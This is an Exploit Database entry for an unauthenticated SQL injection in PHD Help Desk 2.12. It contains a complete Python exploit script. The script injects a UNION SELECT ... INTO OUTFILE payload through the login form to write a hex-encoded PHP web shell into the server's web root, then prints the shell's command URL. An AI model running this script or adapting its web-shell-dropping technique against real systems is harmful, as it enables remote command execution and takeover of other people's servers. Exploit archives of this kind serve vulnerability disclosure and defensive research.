PHD Help Desk 2.12 – SQL Injection

• Exploit Database
• 86 阅读

• 作者： drone
  日期： 2013-06-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/25915/

• # Exploit Title: PHD Help Desk 2.12 SQLi
  # Date: 05/24/2013
  # Exploit Author: drone (@dronesec)
  # More information: http://forelsec.blogspot.com/2013/06/phd-help-desk-212-sqli-and-xss.html
  # Vendor Homepage: http://www.p-hd.com.ar/
  # Software Link: http://downloads.sourceforge.net/project/phd/phd_released/phd%202.12/phd_2_12.zip
  # Version: 2.12
  # Tested on: Ubuntu 12.04 (apparmor disabled)
  
  """ This app is so full of SQLi & XSS; if you're looking for
  practice with real web apps, this is a good place to go.
  
  You don't need auth for this.
  """
  from argparse import ArgumentParser
  import string
  import random
  import urllib, urllib2
  import sys
  
  def run(options):
  print '[!] Dropping web shell on %s...'%(options.ip)
  
  shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
  
  # <? php system($_GET["rr"]); ?>
  data = urllib.urlencode({'operador':('\' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e'
  ',null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE'
  ' \'{0}/{1}.php'.format(options.path,shell)),
   'contrasenia':'pass',
   'submit':'Enter',
   'captcha':''})
  
  urllib2.urlopen('http://{0}{1}/login.php'.format(options.ip, options.rootp), data)
  print '[!] Shell dropped.http://%s%s/%s.php?rr=ls'%(options.ip,options.rootp,shell)
  
  def parse():
  parser = ArgumentParser()
  parser.add_argument('-i',help='server address',action='store',dest='ip')
  parser.add_argument('-p',help='path to login.php (/phd_2_12)',action='store',
  default='/phd_2_12', dest='rootp')
  parser.add_argument('-w',help='writable web path (/var/www/phd_2_12) for shell',
  default='/var/www/phd_2_12/', action='store', dest='path')
  
  options = parser.parse_args()
  if not options.ip:
  parser.print_help()
  sys.exit(1)
  
  options.path = options.path if options.path[-1] != '/' else options.path[:-1]
  options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
  return options
  
  if __name__=="__main__":
  run(parse())
  

  Python

  Copy